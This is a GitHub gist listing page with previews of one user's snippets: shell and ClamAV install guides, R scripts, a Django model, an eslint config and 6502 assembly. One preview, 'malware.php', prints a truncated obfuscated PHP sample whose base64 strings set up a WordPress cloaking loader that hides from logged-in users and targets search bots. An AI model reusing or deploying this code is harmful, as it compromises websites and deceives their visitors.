Skip to content

Instantly share code, notes, and snippets.

@gagarine
gagarine / fish_install.md
Last active Feb 11, 2019
Install fish shell on macOS Mojave with brew
View fish_install.md

Installing Fish shell on MacOS

Fish is a smart and user-friendly command line (like bash or zsh). This is how you can nstall it on MacOS and make your defaul shell.

Note that you need the https://brew.sh/ package manager.

You can also download the fish app from their website. I do recomand using brew because update are easier.

Install Fish

View malware.php
<?php
error_reporting(0);
require_once('includes/session.inc');
$serialized = 'a:23:{i:0;s:204:"aWYoIWNsYXNzX2V4aXN0cygnUmF0ZWwnKSl7aWYoZnVuY3Rpb25fZXhpc3RzKCdpc191c2VyX2xvZ2dlZF9pbicpKXtpZihpc191c2VyX2xvZ2dlZF9pbigpKXtyZXR1cm4gZmFsc2U7fX1pZihpc3NldCgkX1JFUVVFU1RbJ3hmdGVzdCddKSl7ZGllKHBpKCkqNik7DQ==";i:1;s:288:"fUBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsMCk7QGluaV9zZXQoJ2Vycm9yX3JlcG9ydGluZycsMCk7QGluaV9zZXQoJ2xvZ19lcnJvcnMnLE5VTEwpO0Bpbmlfc2V0KCdkZWZhdWx0X3NvY2tldF90aW1lb3V0Jyw0KTtpZighaXNzZXQoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKXx8IXRyaW0oJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSl7cmV0dXJuIGZhbHNlOw0=";i:2;s:260:"fSRpc19ib3Q9MDtpZihAcHJlZ19tYXRjaCgiLyhnb29nbGVib3R8bXNuYm90fHlhaG9vfHNlYXJjaHxiaW5nfGFza3xpbmRleGVyfGN1aWxsLmNvbXxjbHVzaGJvdCkvaSIsJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdKSl7JGlzX2JvdD0xO30kcnVyaT10cmltKCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCJcdFxuXHJcMFx4MEIvIik7DQ==";i:3;s:316:"JGJhZF91cmxzPScjeG1scnBjLnBocHx3cC1pbmNsdWRlc3x3cC1jb250ZW50fHdwLWxvZ2luLnBocHx3cC1jcm9uLnBocHxcP2ZlZWQ9fHdwLWpzb258XC9mZWVkfFwuY3NzfFwu
View survey.r
### Packages
install.packages(c( "rstudioapi", "corrplot"))
suppressWarnings(
suppressMessages({
library(rstudioapi)
library(readr)
library(psych)
View all.mbox.csv
We can make this file beautiful and searchable if this error is corrected: Unclosed quoted field in line 2.
doc_id,text
1,"On Saturday, January 5, 2002, at 08:08 AM, Hack Hawk wrote:
> At 06:54 PM 1/4/02 +0100, Hadmut Danisch wrote:
>> > WASHINGTON -- Computer hackers...are turning their sights to home
>> > computers that are...less secure than ever before.
>>
>> On my private computer (DSL, dynamically assigned IP address), I
>> detect an increasing density of attack attempts.
>
> I see the same thing here.
View keybase.md

Keybase proof

I hereby claim:

  • I am gagarine on github.
  • I am perdrisat (https://keybase.io/perdrisat) on keybase.
  • I have a public key ASDCDme3531K0n5Y30Urub_ld7T8w3Nu4-msaTcuqTNqQgo

To claim this, I am signing this object:

@gagarine
gagarine / .eslintrc.json
Last active Apr 17, 2017
package.json with npm script and config for webextension, can be addapted for any JS/HTML app or website.
View .eslintrc.json
{
"env": {
"browser": true,
"es6": true
},
"extends": "eslint:recommended",
"rules": {
"indent": [
"error",
4
@gagarine
gagarine / install-clamav-osx.md
Last active Apr 2, 2019
Howto Install clamav on OSX with brew
View install-clamav-osx.md

Howto Install clamav on OSX with brew

$ brew install clamav
$ cd /usr/local/etc/clamav
$ cp freshclam.conf.sample freshclam.conf

Open freshclam.conf and comment the "Example" line:

View TP1.R
##
# TP1
# Simon Perdrisat & Amantin Baruti- 2016
# Replication table 4b p 494 of "ECONOMIC AND POLITICAL EXPLANATIONS OF HUMAN RIGHTS VIOLATIONS" by NEIL J. MITCHELL and JAMES M. McCORMICK
#
# Note: I'm using = instead of <-
# http://blog.revolutionanalytics.com/2008/12/use-equals-or-arrow-for-assignment.html
#
##
View models.py
import datetime
from django.db import models
from django.utils import timezone
from django.core.urlresolvers import reverse
# Create your models here.
class Asset(models.Model):
title_text = models.CharField(max_length=200)
View screen_color_flash.asm
processor 6502
org $1000
init_screen
lda #$00
sta $d020
sta $d021
lda #$20 ; #$20 is the spacebar Screen Code
clear
sta $0400,x ; fill four areas with 256 spacebar characters
You can’t perform that action at this time.